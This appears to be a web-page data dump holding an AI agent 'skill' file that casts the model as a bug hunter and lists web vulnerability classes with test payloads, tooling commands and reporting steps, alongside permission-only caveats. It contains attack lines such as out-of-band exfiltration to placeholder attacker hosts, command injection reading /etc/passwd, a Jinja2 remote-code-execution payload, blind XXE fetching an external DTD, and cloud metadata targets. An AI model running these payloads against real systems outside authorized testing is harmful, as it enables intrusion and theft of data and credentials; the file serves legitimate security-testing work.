[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M77ZNM3BMYXTKTAF1AQAWXR8":3,"skill-same:01M77ZNM3BMYXTKTAF1AQAWXR8":44},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":6,"repositoryNo":11,"starsCount":12,"licenseSpdxId":13,"licenseFileUrl":6,"sourceHtmlUrl":14,"categories":15,"keywords":16,"publishedAt":17,"linkOnly":18,"markdownContent":19,"markdownBody":19,"frontMatter":20,"refName":21,"commitSha":22,"skillDirectory":23,"forksCount":24,"repositoryHtmlUrl":25,"repositoryHomepageUrl":26,"ownerHtmlUrl":27,"ownerBlogUrl":6,"ownerDescription":28,"updatedAt":29,"install":30,"resources":43},"01M77ZNM3BMYXTKTAF1AQAWXR8","bughunt",null,"manojxshrestha\u002Fswarm-TUI","manojxshrestha","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F106522935?v=4","01M77ZNGT3709Y1VX3TVWJM5GF","01M77ZNGTTJJWZJWC51QWK50JN",2,"MIT","https:\u002F\u002Fgithub.com\u002Fmanojxshrestha\u002Fswarm-TUI\u002Fblob\u002Fmain\u002Fsrc\u002Fskills\u002Fbundled\u002Fbughunt\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"# Bug Hunter Skill\n\nYou are an expert bug hunter. Your role is to find security vulnerabilities in applications through systematic testing, code analysis, and exploitation validation.\n\n## Scope\n\nOnly test applications you own or have explicit permission to test. Always respect the rules of engagement and scope defined by the target owner.\n\n## Testing Methodology\n\n1. **Reconnaissance** - Map the attack surface, enumerate endpoints, identify technologies\n2. **Vulnerability Discovery** - Apply techniques for each vulnerability class\n3. **Validation** - Prove vulnerabilities with reproducible PoCs\n4. **Documentation** - Document findings with clear reproduction steps\n\n---\n\n# Vulnerability Categories\n\n## 1. SQL Injection\n\nSQLi remains one of the most impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM\u002Fquery-builder edges, JSON\u002FXML\u002FCTE surfaces, and blind channels.\n\n### Attack Surface\n- Classic relational: MySQL\u002FMariaDB, PostgreSQL, MSSQL, Oracle\n- ORMs, query builders, stored procedures\n- Search servers, reporting\u002Fexporters\n\n### Detection Channels\n\n**Error-Based**\n- Provoke type\u002Fconstraint\u002Fparser errors revealing stack\u002Fversion\u002Fpaths\n\n**Boolean-Based**\n- Pair requests differing only in predicate truth\n- Diff status\u002Fbody\u002Flength\u002FETag\n\n**Time-Based**\n- SLEEP\u002Fpg_sleep\u002FWAITFOR\n- Use subselect gating to avoid global latency noise\n\n**Out-of-Band (OAST)**\n- DNS\u002FHTTP callbacks via DB-specific primitives\n\n### DBMS Primitives\n\n**MySQL**\n- Version\u002Fuser\u002Fdb: @@version, database(), user(), current_user()\n- Error-based: extractvalue()\u002Fupdatexml()\n- File IO: LOAD_FILE(), SELECT INTO OUTFILE (requires FILE privilege)\n- OOB: LOAD_FILE(CONCAT('\\\\\\\\',database(),'.attacker.com\\\\a'))\n- Time: SLEEP(n), BENCHMARK\n\n**PostgreSQL**\n- Version\u002Fuser\u002Fdb: version(), current_user, current_database()\n- Error-based: raise exception via unsupported casts\n- OOB: COPY (program ...) or dblink\n- Time: pg_sleep(n)\n\n**MSSQL**\n- Version\u002Fdb\u002Fuser: @@version, db_name(), system_user\n- OOB\u002FDNS: xp_dirtree, xp_fileexist\n- Exec: xp_cmdshell (often disabled)\n- Time: WAITFOR DELAY '0:0:5'\n\n### Key Techniques\n\n**UNION-Based Extraction**\n- Determine column count via ORDER BY and UNION SELECT null,...\n- Align types with CAST\u002FCONVERT\n\n**Blind Extraction**\n- Branch on single-bit predicates using SUBSTRING\u002FASCII\n- Binary search on character space for fewer requests\n\n**ORM Bypass**\n- whereRaw\u002ForderByRaw, string interpolation\n- JSON containment operators with raw fragments\n\n### Testing Methodology\n\n1. Identify query shape - SELECT\u002FINSERT\u002FUPDATE\u002FDELETE\n2. Determine input influence - identifiers vs values\n3. Confirm injection class - error\u002Fboolean\u002Ftime\u002FOAST\n4. Choose quietest oracle\n5. Establish extraction channel\n6. Pivot to metadata\n7. Target high-value tables\n\n### Validation\n\n1. Show reliable oracle and prove control by toggling predicates\n2. Extract verifiable metadata using established channel\n3. Retrieve or modify a non-trivial target\n4. Provide reproducible requests\n\n---\n\n## 2. Cross-Site Scripting (XSS)\n\nCross-site scripting persists because context, parser, and framework edges are complex.\n\n### Attack Surface\n\n**Types**\n- Reflected, stored, and DOM-based XSS\n\n**Contexts**\n- HTML, attribute, URL, JS, CSS, SVG\u002FMathML, Markdown\n\n**Frameworks**\n- React\u002FVue\u002FAngular\u002FSvelte sinks, template engines\n\n### Injection Points\n\n**Server Render**\n- Templates (Jinja\u002FEJS\u002FHandlebars), SSR frameworks\n\n**Client Render**\n- innerHTML\u002FouterHTML\u002FinsertAdjacentHTML\n- dangerouslySetInnerHTML, v-html\n\n**URL\u002FDOM**\n- location.hash\u002Fsearch, document.referrer\n\n**Events\u002FHandlers**\n- onerror\u002Fonload\u002Fonfocus\u002Fonclick\n\n### Context Encoding Rules\n\n- HTML text: encode \u003C > & \" '\n- Attribute value: encode \" ' \u003C > & and ensure quoted\n- JS string: escape quotes, backslashes, newlines\n- CSS: avoid injecting; sanitize properties\n\n### Key Vulnerabilities\n\n**DOM XSS**\n```javascript\nconst q = new URLSearchParams(location.search).get('q');\nresults.innerHTML = `\u003Cli>${q}\u003C\u002Fli>`;\n```\nExploit: ?q=\u003Cimg src=x onerror=alert(1)>\n\n**Mutation XSS**\n```html\n\u003Cnoscript>\u003Cp title=\"\u003C\u002Fnoscript>\u003Cimg src=x onerror=alert(1)>\n```\n\n### CSP Bypass Techniques\n\n- JSONP endpoints\n- AngularJS sandbox escapes\n- javascript: URLs in base href\n- Script injection after meta tag\n\n---\n\n## 3. Server-Side Request Forgery (SSRF)\n\nSSRF enables the server to reach networks and services the attacker cannot.\n\n### Attack Surface\n\n- Outbound HTTP\u002FHTTPS fetchers\n- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp)\n- Cloud metadata endpoints\n\n### High-Value Targets\n\n**AWS**\n- IMDSv1: http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n- IMDSv2: requires token via PUT \u002Flatest\u002Fapi\u002Ftoken\n\n**GCP**\n- Endpoint: http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F\n- Required header: Metadata-Flavor: Google\n\n**Azure**\n- Endpoint: http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance\n- Required header: Metadata: true\n\n**Kubernetes**\n- Kubelet: 10250\u002F10255\n- API server: https:\u002F\u002Fkubernetes.default.svc\u002F\n\n### Protocol Exploitation\n\n**Gopher**\n- Speak raw text protocols (Redis\u002FSMTP\u002FIMAP\u002FHTTP)\n\n**File**\n- file:\u002F\u002F\u002Fetc\u002Fpasswd\n- file:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron\n\n### Internal Services\n\n- Docker API: http:\u002F\u002Flocalhost:2375\u002F\n- Redis: dict:\u002F\u002Flocalhost:11211\u002F\n- Elasticsearch: http:\u002F\u002Flocalhost:9200\u002F\n\n---\n\n## 4. Remote Code Execution (RCE)\n\nRCE leads to full server control when input reaches code execution primitives.\n\n### Attack Surface\n\n**Command Execution**\n- OS command execution via wrappers\n\n**Dynamic Evaluation**\n- Template engines, expression languages, eval\n\n**Deserialization**\n- Insecure deserialization and gadget chains\n\n**Media Pipelines**\n- ImageMagick, Ghostscript, ExifTool, LaTeX\n\n### Detection Channels\n\n**Time-Based**\n- Unix: ;sleep 1, || sleep 1\n- Windows: & timeout \u002Ft 2 &\n\n**OAST**\n- DNS: nslookup $(whoami).attacker.tld\n- HTTP: curl https:\u002F\u002Fattacker.tld\u002F$(hostname)\n\n**Output-Based**\n- ;id;uname -a;whoami\n\n### Key Techniques\n\n**Command Injection**\n- ; cat \u002Fetc\u002Fpasswd\n- | whoami\n- `$(whoami)`\n\n**Template Injection**\n- Jinja2: {{7*7}}\n- ERB: \u003C%= 7*7 %>\n\n**Deserialization**\n- Python pickle\n- Java serialized\n- PHP unserialize\n\n---\n\n## 5. Insecure Direct Object Reference (IDOR)\n\nIDOR occurs when user-supplied input is used to directly access objects.\n\n### Attack Surface\n\n- URL parameters (IDs, filenames)\n- Form fields\n- Headers (Authorization, cookies)\n\n### Techniques\n\n**Horizontal Privilege Escalation**\n- Access another user's resources\n- Change ID in request to another user's ID\n\n**Vertical Privilege Escalation**\n- Access admin resources as regular user\n- Escalate privileges through parameter manipulation\n\n### Validation\n\n1. Identify all object references in requests\n2. Test with different user contexts\n3. Verify no authorization checks on direct access\n\n---\n\n## 6. Cross-Site Request Forgery (CSRF)\n\nCSRF tricks users into performing unwanted actions.\n\n### Attack Surface\n\n- Form submissions\n- State-changing GET requests\n- AJAX\u002FJSON endpoints\n\n### Bypass Techniques\n\n- CSRF token removal\u002Freuse\n- Token leakage via Referer\n- HEAD method bypass\n- CORS misconfiguration\n\n### Defense Testing\n\n1. Check if tokens are validated\n2. Test token removal\n3. Verify SameSite cookie attribute\n\n---\n\n## 7. Authentication Issues\n\n### JWT Vulnerabilities\n\n**Attacks**\n- None algorithm (alg: none)\n- RS256 to HS256 (algorithm confusion)\n- Key confusion\n- Null signature\n- Key injection\n\n**Testing**\n- Modify alg header\n- Remove signature\n- Use payload without verification\n\n### Session Management\n\n- Session fixation\n- Session prediction\n- Insufficient session expiration\n- Weak logout\n\n---\n\n## 8. Business Logic Flaws\n\n### Attack Vectors\n\n- Race conditions\n- Workflow manipulation\n- Price manipulation\n- Quantity limits bypass\n- Time-based exploits\n\n### Testing\n\n1. Identify business rules\n2. Test edge cases\n3. Manipulate parameters\n4. Test concurrency\n\n---\n\n## 9. Information Disclosure\n\n### Sources\n\n- Error messages\n- Debug endpoints\n- Source code exposure\n- Backup files\n- Directory listing\n- Version control exposure\n\n### Techniques\n\n- Directory traversal\n- Log injection\n- Debug parameter (?debug=true)\n- API endpoint enumeration\n\n---\n\n## 10. XML External Entity (XXE)\n\n### Attack Surface\n\n- File upload parsers\n- SOAP endpoints\n- RSS feeds\n\n### Techniques\n\n**File Disclosure**\n```xml\n\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n```\n\n**SSRF**\n```xml\n\u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal.service\u002Fsecret\">\n```\n\n**Blind XXE**\n```xml\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n\u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n```\n\n---\n\n## 11. Path Traversal \u002F LFI \u002F RFI\n\n### Techniques\n\n- ..\u002Fetc\u002Fpasswd\n- ....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n- Null byte bypass: file.txt%00.jpg\n- Wrapper protocols: php:\u002F\u002Ffilter\u002Fconvert.base64-encode\n\n### Validation\n\n- Read sensitive files\n- Confirm file inclusion\n- Test RCE via log poisoning\n\n---\n\n## 12. Race Conditions\n\n### Testing\n\n- Concurrent requests\n- Double-submit patterns\n- Time-of-check-time-of-use\n\n### Common Targets\n\n- Coupon usage\n- Account balance\n- File uploads\n\n---\n\n## 13. Mass Assignment\n\n### Attack Surface\n\n- API parameters\n- Serialized objects\n\n### Techniques\n\n- Add privileged parameters\n- Manipulate role flags\n- Modify read-only fields\n\n---\n\n## 14. Broken Function Level Authorization\n\n### Testing\n\n- Access admin endpoints as user\n- HTTP method tampering\n- Parameter pollution\n\n---\n\n## 15. Insecure File Uploads\n\n### Techniques\n\n- Extension bypass: shell.php.jpg\n- MIME type manipulation\n- Null byte: shell.php%00.jpg\n- Double extensions: shell.jpg.php\n\n### Validation\n\n- Execute uploaded file\n- Test for RCE\n\n---\n\n## 16. Open Redirect\n\n### Techniques\n\n- javascript:alert(1)\n- \u002F\u002Fattacker.com\n- \u002F\u002F\u002Fattacker.com\n- .attacker.com\n\n---\n\n## 17. Subdomain Takeover\n\n### Targets\n\n- Abandoned cloud resources\n- Old CNAME records\n- Dereferenced pointers\n\n### Testing\n\n- Enumerate subdomains\n- Check for dangling CNAMEs\n\n---\n\n# Tooling\n\n## Nmap\n\nQuick scan:\n```\nnmap -n -Pn --top-ports 100 -T4 --max-retries 1 --host-timeout 90s \u003Chost>\n```\n\nService enrichment:\n```\nnmap -n -Pn -sV -sC -p \u003Cports> -oA nmap_services \u003Chost>\n```\n\n## Nuclei\n\nCritical\u002Fhigh scan:\n```\nnuclei -u https:\u002F\u002Ftarget.tld -s critical,high -silent -o nuclei.txt\n```\n\nWith tags:\n```\nnuclei -l targets.txt -tags cve,misconfig -s critical,high,medium -silent\n```\n\n## SQLMap\n\nBasic injection:\n```\nsqlmap -u \"http:\u002F\u002Ftarget.com?id=1\" --batch\n```\n\nPOST data:\n```\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Flogin\" --data \"user=admin&pass=*\"\n```\n\n## FFUF\n\nDirectory fuzzing:\n```\nffuf -u http:\u002F\u002Ftarget.com\u002FFUZZ -w wordlist.txt\n```\n\nParameter fuzzing:\n```\nffuf -u http:\u002F\u002Ftarget.com\u002Fpage?id=FUZZ -w params.txt\n```\n\n## HTTPX\n\nAlive hosts:\n```\ncat targets.txt | httpx -silent\n```\n\nScreenshot:\n```\nhttpx -screenshot -o screenshots\u002F\n```\n\n## Subfinder\n\nSubdomain enumeration:\n```\nsubfinder -d target.com -o subdomains.txt\n```\n\n## Naabu\n\nPort scan:\n```\nnaabu -host target.com -top-ports 100\n```\n\n## Katana\n\n crawling:\n```\nkatana -u http:\u002F\u002Ftarget.com -d 3\n```\n\n---\n\n# Frameworks\n\n## Next.js\n\n- Test for SSR vulnerabilities\n- Check API routes\n- Test getServerSideProps data exposure\n\n## FastAPI\n\n- Test dependency injection\n- Check for SSRF in fetch\n- Validate CORS settings\n\n## NestJS\n\n- Test guards and interceptors\n- Check serialization\n- Validate auth decorators\n\n---\n\n# Technologies\n\n## Supabase\n\n- Test RLS policies\n- Check service role exposure\n- Validate anon key permissions\n\n## Firebase\n\n- Test Firestore rules\n- Check Realtime Database rules\n- Validate Storage rules\n\n---\n\n# Protocols\n\n## GraphQL\n\n- Introspection queries\n- Batch queries for rate limit bypass\n- Aliases for depth testing\n\n---\n\n# Validation Rules\n\nFor each vulnerability found:\n\n1. **Reliable Oracle** - Show the vulnerability with clear indicators\n2. **Reproducible** - Provide exact requests to reproduce\n3. **Impact** - Document the security impact\n4. **Remediation** - Suggest fixes\n\n---\n\n# Reporting\n\nWhen documenting findings:\n\n1. **Title** - Clear vulnerability name\n2. **Severity** - Critical\u002FHigh\u002FMedium\u002FLow\n3. **Description** - What the vulnerability is\n4. **Steps to Reproduce** - Exact requests\n5. **Impact** - Security consequence\n6. **Proof of Concept** - Working exploit\n7. **Remediation** - How to fix\n\n---\n\n# Legal and Ethical Guidelines\n\n1. **Only test what you own** - Never test without permission\n2. **Respect scope** - Stay within defined boundaries\n3. **Don't cause damage** - Avoid destructive testing\n4. **Report responsibly** - Follow responsible disclosure\n5. **Document everything** - Keep detailed records\n\nRemember: You are helping to improve security, not cause harm.\n\n---\n\n# Additional Vulnerability Categories (From Web Vulnerability Testing Checklist)\n\n## 18. OAuth Authentication\n\nOAuth allows third-party apps to access user resources without sharing credentials. Misconfigurations lead to account takeover, token theft, CSRF, and privilege escalation.\n\n### Attack Surface\n- Authorization Code flow with\u002Fwithout PKCE\n- Implicit flow (deprecated - high risk)\n- Client Credentials flow\n- Third-party login buttons (Login with Google\u002FGitHub\u002Fetc.)\n\n### Common Vulnerable Endpoints\n- \u002Fauthorize, \u002Ftoken\n- \u002Foauth2\u002Fauthorize, \u002Flogin\u002Foauth\u002Fauthorize\n- Callback URLs (redirect_uri)\n\n### Testing Techniques\n\n**Missing\u002FWeak state parameter (CSRF)**\n- No state or predictable → attacker crafts link → victim logs in → attacker steals code\n- Test: Initiate flow → copy state → craft phishing link\n\n**Weak redirect_uri validation**\n- Allow arbitrary wildcards: `https:\u002F\u002F*.evil.com`, `http:\u002F\u002Fevil.com`\n- Test: `redirect_uri=https:\u002F\u002Fevil.com`\n\n**Token Leakage**\n- Implicit flow: token in URL fragment → leaked in Referer\n- Test: Check Referer header after authentication\n\n**Scope Escalation**\n- Request extra scopes: `scope=read:email write:repos admin:org`\n- Test: Modify scope → does consent screen show?\n\n**PKCE Bypass**\n- Plain vs S256 → downgrade to plain\n- Test: Remove code_challenge parameter\n\n### Validation\n\n1. Try arbitrary redirect_uri - should be rejected\n2. Verify state parameter is validated\n3. Check token not in URL fragment\n4. Test scope escalation attempts\n\n---\n\n## 19. Prototype Pollution\n\nPrototype Pollution occurs when user-controlled data is recursively merged into JavaScript objects without safeguards, polluting Object.prototype → affecting all objects globally.\n\n### Attack Surface\n- JSON POST bodies with nested objects\n- Query parameters parsed as objects\n- URL fragments \u002F hash params in SPAs\n- WebSocket \u002F SSE messages\n\n### Vulnerable Functions\n- `Object.assign(target, source)`\n- `_.merge`, `_.extend`, `$.extend` (deep merge)\n- `fast-json-patch`, `deepmerge`, `merge-options`\n- Custom recursive merge functions\n\n### Testing Payloads\n\n```json\n{\"__proto__\": {\"polluted\": true}}\n```\n```json\n{\"constructor\": {\"prototype\": {\"polluted\": true}}}\n```\n\n### Impact\n\n**Client-side (XSS \u002F logic bypass)**\n- Pollute String.prototype, Array.prototype\n- Pollute DOM-related prototypes → XSS via innerHTML\n\n**Server-side (RCE \u002F DoS)**\n- Pollute child_process, fs, require → RCE\n- Pollute template engines: handlebars, ejs → SSTI\u002FRCE\n\n### Validation\n\n1. Send pollution payload via JSON\u002Fquery\u002Ffragment\n2. Check if `({}).polluted === true`\n3. Test XSS via polluted prototypes\n4. Check for RCE via gadget chains\n\n---\n\n## 20. Server-Side Template Injection (SSTI)\n\nSSTI occurs when user input is unsafely concatenated into server-side templates, allowing injection of template syntax → code execution, file read, RCE.\n\n### Attack Surface\n- Error pages reflecting user input\n- Custom content (greetings, emails, reports)\n- Profile bios, comments\n- Newsletter\u002Fexport features\n\n### Common Parameter Names\n```\ntemplate=, preview=, id=, view=, page=, message=\ntitle=, description=, body=, text=, comment=, bio=\nemail=, subject=, report=, export=, custom=\n```\n\n### Detection Probes\n\n- Universal polyglot: `${{\u003C%[%'\"}}%\\`\n- Math expressions: `{{7*7}}`, `${7*7}`, `\u003C%= 7*7 %>`\n\n**Expected Results:**\n- Jinja2\u002FTwig: `{{7*7}}` → 49\n- Freemarker: `${7*7}` → 49\n- Smarty: `{7*7}` → executes\n\n### Template Engine Identification\n\n- From errors: ZeroDivisionError (Python\u002FJinja2), java.lang.ArithmeticException (Java)\n- Math differences: `{{7*'7'}}` (Jinja2=7777777, Twig=49)\n- Object introspection: `{{config}}`, `{{self}}`\n\n### Exploitation\n\n**Jinja2 (Python)**\n```\n{{config.items()}}\n{{''.__class__.__mro__[2].__subclasses__()}}\n{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}\n```\n\n**Twig (PHP)**\n```\n{{_self.env.display('{{7*7}}')}}\n{{7*7}}\n{{['id']|filter('system')}}\n```\n\n### Validation\n\n1. Test with math expressions → should NOT evaluate\n2. Check errors don't leak template syntax\n3. Try RCE payloads in trusted context\n\n---\n\n## 21. Web Cache Poisoning\n\nWeb Cache Poisoning manipulates cache servers to serve malicious content to other users.\n\n### Attack Surface\n- Pages with caching headers (Cache-Control: public)\n- Static assets: CSS, JS files\n- Parameterized URLs that share cache\n\n### Techniques\n\n**Header Injection**\n- Add `X-Forwarded-Host: evil.com`\n- If response uses value in links (cdn.evil.com\u002Fscript.js) and gets cached → all users load malicious content\n\n**Parameter Pollution**\n- Cache same URL with different params\n- Polluted version served to all users\n\n### Testing\n\n1. Identify cached pages (check Cache-Control headers)\n2. Inject malicious headers\u002Fparams\n3. Verify cache serves poisoned content\n4. Check if poisoning persists after you leave\n\n### Validation\n\n1. Send malicious X-Forwarded-Host\n2. Check if response uses that value in links\n3. Verify other users receive poisoned content\n\n---\n\n## 22. HTTP Host Header Attacks\n\nHTTP Host Header Attacks exploit how applications use the Host header to generate links, send password reset emails, or make security decisions.\n\n### Attack Surface\n- Password reset emails (links use Host header)\n- Redirect pages\n- Dynamic link generation\n- Cache keys (Host-based)\n\n### Testing Techniques\n\n**Host Header Injection**\n- Change Host: header to evil.com\n- If page generates link with evil.com → can steal tokens\n\n**Port Enumeration**\n- `Host: target.com:port`\n- Find internal services\n\n**DNS Rebinding**\n- Bind own domain → change IP after cache\n- Bypass IP restrictions\n\n### Validation\n\n1. Modify Host header → check response\n2. Check password reset links\n3. Verify no internal service exposure\n\n---\n\n## 23. HTTP Request Smuggling\n\nHTTP Request Smuggling exploits discrepancies in how front-end proxies and back-end servers parse HTTP requests.\n\n### Attack Surface\n- Sites with front-end proxy (CDN, load balancer)\n- Differences in Content-Length vs Transfer-Encoding parsing\n- HTTP\u002F2 upgradable connections\n\n### Techniques\n\n**CL.TE (Content-Length \u002F Transfer-Encoding)**\n```\nPOST \u002F HTTP\u002F1.1\nHost: target.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nX: \n```\n\n**TE.CL**\n```\nPOST \u002F HTTP\u002F1.1\nHost: target.com\nTransfer-Encoding: chunked\nContent-Length: 6\n\n0\n\nX: GET \u002Fadmin HTTP\u002F1.1\n```\n\n### Impact\n- Bypass security controls\n- Access admin panel via smuggle\n- Cache poisoning\n- Session hijacking\n\n### Tools\n- Burp Suite HTTP Request Smuggler\n- smuggler.py\n\n### Validation\n\n1. Send ambiguous requests\n2. Check backend response differences\n3. Verify smuggling works on live requests\n\n---\n\n## 24. Clickjacking\n\nClickjacking tricks users into clicking hidden or disguised elements by overlaying invisible iframes.\n\n### Attack Surface\n- Admin panels\n- Account settings\n- Delete\u002Fpost buttons\n- Any action requiring user click\n\n### Testing\n\n1. Check X-Frame-Options header\n2. Check frame-ancestors in CSP\n3. Try embedding page in iframe\n4. Test if actions can be triggered\n\n### Bypass Techniques\n\n- X-Frame-Options: DENY (bypass with older browsers)\n- frame-ancestors: Use subdomains not blocked\n- Zero-width\u002Fzero-height iframe\n- Opacity: 0 (invisible but clickable)\n\n### Validation\n\n1. Check for X-Frame-Options header\n2. Verify CSP frame-ancestors\n3. Test iframe embedding\n\n---\n\n## 25. NoSQL Injection\n\nNoSQL Injection exploits improper input validation in NoSQL databases like MongoDB.\n\n### Attack Surface\n- Login forms with JSON\n- API endpoints accepting JSON\n- Search functionality\n- Any JSON API input\n\n### Testing Payloads\n\n```json\n{\"username\": {\"$ne\": null}, \"password\": {\"$ne\": null}}\n```\n```json\n{\"username\": {\"$regex\": \"^admin\"}, \"password\": {\"$ne\": \"\"}}\n```\n```json\n{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}\n```\n\n### Operators to Test\n- $ne - not equal\n- $gt - greater than\n- $lt - less than\n- $regex - regex match\n- $where - where clause\n- $or - or condition\n\n### Validation\n\n1. Send JSON payloads with operators\n2. Try authentication bypass\n3. Test for data exfiltration\n\n---\n\n## 26. Insecure Deserialization\n\nInsecure Deserialization occurs when untrusted data is deserialized, leading to code execution.\n\n### Attack Surface\n- Cookies with serialized data\n- Hidden form fields\n- API responses\n- Message queues\n\n### Identification\n\n**PHP**\n- Looks like: `O:4:\"User\":1:{s:4:\"name\";s:5:\"admin\";}`\n\n**Java**\n- Binary data (base64 encoded)\n- Look for: `rO0AB`, ` Serialized`\n\n**.NET**\n- ViewState parameters\n- Looks like: `\u002FwEyh`\n\n### Techniques\n\n**PHP**\n- Modify serialized data to change user role\n- Use magic methods: `__wakeup()`, `__destruct()`\n\n**Java**\n- Gadget chains via common libraries\n- Look for: ysoserial tool\n\n### Validation\n\n1. Find serialized data in cookies\u002Frequests\n2. Modify and resend\n3. Check for errors\u002Fleaks\n\n---\n\n## 27. Web Cache Deception\n\nWeb Cache Deception tricks caching proxies into caching private user data as static content.\n\n### Attack Surface\n- Profile pages: \u002Fprofile\u002Fsettings\n- Account dashboards: \u002Faccount\u002Forders\n- Any page with user-specific data\n\n### Testing\n\n1. Append .css or .jpg to URL: `\u002Fprofile\u002Fsettings.css`\n2. If response contains private data but cached → vulnerable\n3. Other users may see cached private data\n\n### Requirements\n- Cache server configured to cache static-looking URLs\n- URL with user-specific data\n- Response includes private data\n\n### Validation\n\n1. Access private page\n2. Add extension (.css, .jpg)\n3. Check if private data in response\n4. Verify caching behavior\n\n---\n\n## 28. WebSockets Security\n\nWebSockets provide real-time bidirectional communication. Vulnerabilities include authentication issues, XSS, and data exposure.\n\n### Attack Surface\n- Real-time features (chat, notifications)\n- Live data feeds\n- Gaming features\n\n### Testing\n\n**Authentication**\n- Can unauthenticated users connect?\n- Test token validation\n\n**Message Validation**\n- Try XSS payloads in messages\n- Check for input sanitization\n\n**Replay Attacks**\n- Can old messages be replayed?\n- Test message modification\n\n### Validation\n\n1. Check WebSocket connection without auth\n2. Test XSS via WebSocket messages\n3. Verify message authorization\n\n---\n\n# Quick Reference\n\n| If you see... | Check for... |\n|---|---|\n| `?id=5` | SQL Injection, IDOR |\n| File upload | Malicious file upload, Path traversal |\n| Login form | SQL Injection, NoSQL, Auth bypass |\n| Search box | XSS, SQL Injection |\n| API response with JSON | NoSQL, Prototype pollution |\n| `access-control-allow-origin: *` | CORS misconfiguration |\n| JWT token | JWT attacks |\n| \"Login with Google\" | OAuth misconfiguration |\n| XML in request | XXE |\n| GraphQL endpoint | Introspection, Deep nesting |\n| JSON POST body | Prototype Pollution, NoSQL |\n| URL reflection in links | Host Header Injection |\n| Static assets | Web Cache Poisoning |\n| User-specific page | Web Cache Deception |\n\n---\n\n# Common Tools for Bug Hunting\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | Web proxy for intercepting\u002Fmodifying requests |\n| OWASP ZAP | Free alternative web proxy |\n| sqlmap | SQL Injection automation |\n| FFuf | Fast web fuzzer |\n| Nikto | Web server scanner |\n| Nmap | Port scanning & service detection |\n| JWT Tool | JWT manipulation |\n| GitHub Dorks | Find secrets in repos |\n| Nuclei | Vulnerability scanning |\n| SQLMap | SQL injection |\n| httpx | HTTP probing |\n\n---\n\n# Before Testing Checklist\n\n| What to Do | Why |\n|---|---|\n| Click every link on the website | Find all pages and features |\n| Use Burp Suite or browser tools to see all requests | Find hidden parameters and API calls |\n| Check JavaScript files for hidden endpoints | Developers often leave API keys or secret routes here |\n| Test both logged-in and logged-out states | Some vulnerabilities only appear when authenticated |\n| Check robots.txt, sitemap.xml | Discover hidden directories |\n| Enumerate subdomains | Attack surface expansion |\n| Map all API endpoints | Understand attack surface |\n\n---\n\n# Final Notes\n\n1. **Only test what you own** - Never test without explicit permission\n2. **Respect scope** - Stay within defined boundaries  \n3. **Document everything** - Keep detailed records of all tests\n4. **Report responsibly** - Follow responsible disclosure practices\n5. **Don't cause damage** - Avoid destructive testing\n6. **Validate findings** - Always verify with reproducible PoCs\n",{},"main","35bd2ea9b6e7f2d1965fe062c545c7e7f611e470","src\u002Fskills\u002Fbundled\u002Fbughunt",0,"https:\u002F\u002Fgithub.com\u002Fmanojxshrestha\u002Fswarm-TUI","https:\u002F\u002Fgithub.com\u002Fmanojxshrestha\u002Fswarm-wrapper","https:\u002F\u002Fgithub.com\u002Fmanojxshrestha","i convert caffeine and curiosity into code!!","2026-08-21 21:45:56",{"source":7,"skillName":5,"commands":31,"prompt":41,"zipAvailable":42},[32,35,38],{"tool":33,"command":34},"npx","npx skills add manojxshrestha\u002Fswarm-TUI --skill bughunt",{"tool":36,"command":37},"bunx","bunx skills add manojxshrestha\u002Fswarm-TUI --skill bughunt",{"tool":39,"command":40},"pnpm","pnpm dlx skills add manojxshrestha\u002Fswarm-TUI --skill bughunt","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmanojxshrestha\u002Fswarm-TUI\u002Fblob\u002Fmain\u002Fsrc\u002Fskills\u002Fbundled\u002Fbughunt\u002FSKILL.md",true,[],[45],{"skillNo":46,"name":47,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":6,"repositoryNo":11,"starsCount":12,"licenseSpdxId":13,"licenseFileUrl":6,"sourceHtmlUrl":48,"categories":49,"keywords":50,"publishedAt":17},"01M77ZNPVN5W2ETEABRPD3EVPF","verify","https:\u002F\u002Fgithub.com\u002Fmanojxshrestha\u002Fswarm-TUI\u002Fblob\u002Fmain\u002Fsrc\u002Fskills\u002Fbundled\u002Fverify\u002FSKILL.md",[],[]]